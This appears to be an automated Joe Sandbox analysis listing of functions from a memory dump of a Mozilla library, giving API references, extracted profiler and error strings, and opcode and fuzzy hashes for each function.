Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 3f35a5c91d8763802d58d4388dfefb28cf00079de7822ac6faa84d4e56a6ec02
Instruction ID: 2fb037f27b39ad5425834df848fc949543609ade476c95980fe1451477ed6369
Opcode Fuzzy Hash: 3f35a5c91d8763802d58d4388dfefb28cf00079de7822ac6faa84d4e56a6ec02
Instruction Fuzzy Hash: 6F310275B052499FDF00EFB9C948EEE73B9FB86308F008419E945E3654EB30A945CB61

Function 6CB14820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

-%llu, xrefs: 6CB14825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6CB14CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6CB14D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6CB14DB8, 6CB14DD8
ProfileBuffer parse error: %s, xrefs: 6CB14DD9
schema, xrefs: 6CB148C1
data, xrefs: 6CB149B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6CB14D65

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: fb335a21f3eaaba25cf538e76cd43ea89bd969319e620fbce630ec69a48ba991
Instruction ID: 4644724a3b577185cd8e0e9b14461e1c81e2b5b581c9795e8d9d61ff54484bbe
Opcode Fuzzy Hash: fb335a21f3eaaba25cf538e76cd43ea89bd969319e620fbce630ec69a48ba991
Instruction Fuzzy Hash: 39720E75A18B858BD321CF34C4513ABF7E5BFDA344F108B1DE48A6B650EB70A486DB42

Function 6CB24EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CB24EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB24F2E
moz_xmalloc.MOZGLUE ref: 6CB24F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CB24F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB252B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB252E6
Sleep.KERNEL32(00000010), ref: 6CB25481
free.MOZGLUE(?), ref: 6CB25498

Strings

(, xrefs: 6CB25250

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: bafca19884e80befc649119eae4c1fa3bdac938e3b346b65496e3d8692b8a34a
Instruction ID: 73d1b6ab65011be46ddc7fb95066986f1649c92315ef7582ef2b36b90d357c46
Opcode Fuzzy Hash: bafca19884e80befc649119eae4c1fa3bdac938e3b346b65496e3d8692b8a34a
Instruction Fuzzy Hash: 60F1E271A18B408FC716DF38C85062BB7F9BFD6284F05872EF84AA7655DB31D8468B81

Function 6CB25FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CB26009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB26024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CACEE51,?), ref: 6CB26046
OutputDebugStringA.KERNEL32(?,6CACEE51,?), ref: 6CB26061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB26069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB26073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB26082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CB4148E), ref: 6CB26091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CACEE51,00000000,?), ref: 6CB260BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB260C4

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: ce33d9a74d2fb2f94e6039d12d3091c9b402166ae534d93ac0f1f8f6a73851bb
Instruction ID: 713f4b876aebbd19dbcecd89d7e8feb4161847846466a58624456050eba04f8f
Opcode Fuzzy Hash: ce33d9a74d2fb2f94e6039d12d3091c9b402166ae534d93ac0f1f8f6a73851bb
Instruction Fuzzy Hash: DA21A371A002089FDF106F24DC49AAE7BBCFF45218F00C528E95E97640DB74A959CFD2

Function 6CB27030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6CB27046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6CB27060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB2707E

Part of subcall function 6CAD81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAD81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB27096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB2709C
LocalFree.KERNEL32(?), ref: 6CB270AA

Strings

(null), xrefs: 6CB2706A, 6CB27083
### ERROR: %s: %s, xrefs: 6CB27087

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 94e377fc4409f70f107ca5e81b9f01692444171864c6e517fcec5473e39fb670
Instruction ID: 280d6d30c845c39ff73b0c5c8136615ae1de21d23468a0e8986057c1a6a377ba
Opcode Fuzzy Hash: 94e377fc4409f70f107ca5e81b9f01692444171864c6e517fcec5473e39fb670
Instruction Fuzzy Hash: 1D01B9B2A04108AFDF00ABA4DC4ADAF7BBCFF49219F014425FA09A3245D67169188BA1

Function 6CAE9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAE9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CAE9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAE9F34
LeaveCriticalSection.KERNEL32(?), ref: 6CAEA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAEA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAEA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAEA8B1, 6CAEA8D4, 6CAEA8EF

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 03ab6fdabe9c78f6380eb308af2615699f45076992cade54ad4efdf8c7a6e93c
Instruction ID: 9c7e2ff69896dfecd54246808321c58c59611b279bc1d0b250bda521fff9c36e
Opcode Fuzzy Hash: 03ab6fdabe9c78f6380eb308af2615699f45076992cade54ad4efdf8c7a6e93c
Instruction Fuzzy Hash: FE724772A156118FD314CF28C540615FBF2BF89328B29C6ADE8699B791D335EC81DBC1

Function 6CB12C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB12C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB12C61

Part of subcall function 6CAC4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAC4E5A
Part of subcall function 6CAC4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAC4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB12C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB12E2D

Part of subcall function 6CAD81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAD81DE

Strings

(root), xrefs: 6CB1354F
ProfileBuffer parse error: %s, xrefs: 6CB12E3B
expected a Time entry, xrefs: 6CB12E36

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 3c0e9e229aea88282c8bbc914ddecb47a2015e7c283dbcf356e5c18bde8be963
Instruction ID: 451a61b973dbcbb3b58fd26b3b8092c3e530b59495c3cfae41bdcc97f1a33ecd
Opcode Fuzzy Hash: 3c0e9e229aea88282c8bbc914ddecb47a2015e7c283dbcf356e5c18bde8be963
Instruction Fuzzy Hash: DD919CB460C7808FC724CF24D49469EB7E1EF8A358F108A1DE59A8BB50EB30D949CB53

Function 6CAEC0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6CAED4BB
0123456789abcdef, xrefs: 6CAEC317

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: bf517bdf09532429b9e8a37a03f8793f4cee4c2c7f16b9e6c35586994aee031f
Instruction ID: dffb23e20a4a61b39bce05a72635c466619264d66059e6e6cd99a255cd145045
Opcode Fuzzy Hash: bf517bdf09532429b9e8a37a03f8793f4cee4c2c7f16b9e6c35586994aee031f
Instruction Fuzzy Hash: 3B52D330A083418FD724DF18C45076ABBF2FBCA318F18891DE9E687B95D7359885DB92

Function 6CB29E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CB29F3D
__aulldiv.LIBCMT ref: 6CB29F77
__aullrem.LIBCMT ref: 6CB29F8C
__aulldiv.LIBCMT ref: 6CB2A023

Strings

-Infinity, xrefs: 6CB29E60, 6CB29E7B
NaN, xrefs: 6CB29EAB

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 819c9aee882fa765f7e567872500159d36e249162e1044599f1bcc52f315df7c
Instruction ID: 3edd572abc13546fba8048af135e398a5140317f9c81c78818b5e535fa1a5d12
Opcode Fuzzy Hash: 819c9aee882fa765f7e567872500159d36e249162e1044599f1bcc52f315df7c
Instruction Fuzzy Hash: 91C1CE31E003588BDB14CFA8C8507EEB7BAFF89714F144529D419ABB80DB79A949CF91

Function 6CACD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6CACD7DD
, xrefs: 6CACDA88
1, xrefs: 6CACDBDD
8, xrefs: 6CACDC08
0, xrefs: 6CACD852
@, xrefs: 6CACDAF6
9, xrefs: 6CACDE7F
0, xrefs: 6CACDC7F

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 6e10437dc22c38bed860dbd69f76c997eb2f220f98d9afe7e667cb52af6eec81
Instruction ID: 873641d8182e95720d624e04c51b56886542c0a1f682724d09a83e8305622c7f
Opcode Fuzzy Hash: 6e10437dc22c38bed860dbd69f76c997eb2f220f98d9afe7e667cb52af6eec81
Instruction Fuzzy Hash: 2462AB71B8C3858FD701CE29C49076ABBF2AF86358F184A5DE4E54BA91C33599C5CB83

Function 6CAD9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6CADA5D6
' , xrefs: 6CADA3D8
1, xrefs: 6CADA824
@, xrefs: 6CADA625
0, xrefs: 6CADA100
0, xrefs: 6CADAB22

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 63c9244bbd84a5cc20b3cf5d6ec1da0fe204cbcf1a730b9fae2b78902cf95f0b
Instruction ID: f56c523d5812bb9032ec31d6c9d483ab8fcc71692b27c819f8669e753d705364
Opcode Fuzzy Hash: 63c9244bbd84a5cc20b3cf5d6ec1da0fe204cbcf1a730b9fae2b78902cf95f0b
Instruction Fuzzy Hash: C282CF755093158BD7108F19C09036EB7F3EB85719F5A8A2AE8E547A90D334BDC6CB82

Function 6CACBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CACC1CB
__aulldiv.LIBCMT ref: 6CACC24C
__aulldiv.LIBCMT ref: 6CACC348
__aullrem.LIBCMT ref: 6CACC365
__aulldiv.LIBCMT ref: 6CACC37D

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: e0814ff9691a69e74d8c34330952909cb313f001d4a69409921e56837480b856
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: FF322532B146118FC718DE2CC890A66BBE6AFC9314F09867DE899CB395D734ED05CB91

Function 6CB3545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB38A4B

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 81237a62b7e789dd53061543969d3cecb8a6990e45decfda0408d172e9db48a4
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 5EB1E872E0026A8FDB24CF68CC907D9B7B2EF85314F1512AAC54DDB785D730A989CB91

Function 6CB3542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB3925C

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 01ac6ef9795f0d1c062a397b9b3cb1c86cc11ea2a23e4a47de10bdc5c8376185
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: BEB1D572E0426ACFCB14CF58CC816EDB7B2EF84314F14126AC959EB785D730A989CB91

Function 6CB350C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB38E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB3925C

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 6254028a1f44fa6e31530d63c6bfd9eac8380a58f9ea208da3e45877819800b3
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: C9A1D672E001668FCB14CE68CC8179DB7B2EF85314F1502BAC94DEB785D730A999CB91

Function 6CB177A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB17A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB17A93

Part of subcall function 6CAE5C50: GetTickCount64.KERNEL32 ref: 6CAE5D40
Part of subcall function 6CAE5C50: EnterCriticalSection.KERNEL32(6CB4F688), ref: 6CAE5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB17AA1

Part of subcall function 6CAE5C50: __aulldiv.LIBCMT ref: 6CAE5DB4
Part of subcall function 6CAE5C50: LeaveCriticalSection.KERNEL32(6CB4F688), ref: 6CAE5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CB17B31

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 983769ca6d8fddc1b190693283c7c8eac40a3d276393713f8db5af5337f5a871
Instruction ID: 250b656d2da0e4cc5f814c7ae8cdd47c3f95640f6a6625d9eaf1863f75c4e5f6
Opcode Fuzzy Hash: 983769ca6d8fddc1b190693283c7c8eac40a3d276393713f8db5af5337f5a871
Instruction Fuzzy Hash: 4BB15B3561C3818BCB14CF25C45069FB7E2AFC9318F254A1CE99567B91DBB0E90ACB83

Function 6CB06CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CB06D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB06E1E

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 830bfd9a4e4280407697ed09540d554692dfff08c0bf94dd1ea64b228dc31dcf
Instruction ID: 811d812712c5fabe6a245929a17a4388a3eea609afc62fb9e721893eabbfcfc1
Opcode Fuzzy Hash: 830bfd9a4e4280407697ed09540d554692dfff08c0bf94dd1ea64b228dc31dcf
Instruction Fuzzy Hash: 4BA181746183858FCB15CF24C4907AEFBE2FF99308F44495DE88A87B51DB70A949CB92

Function 6CB2B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CB2B720
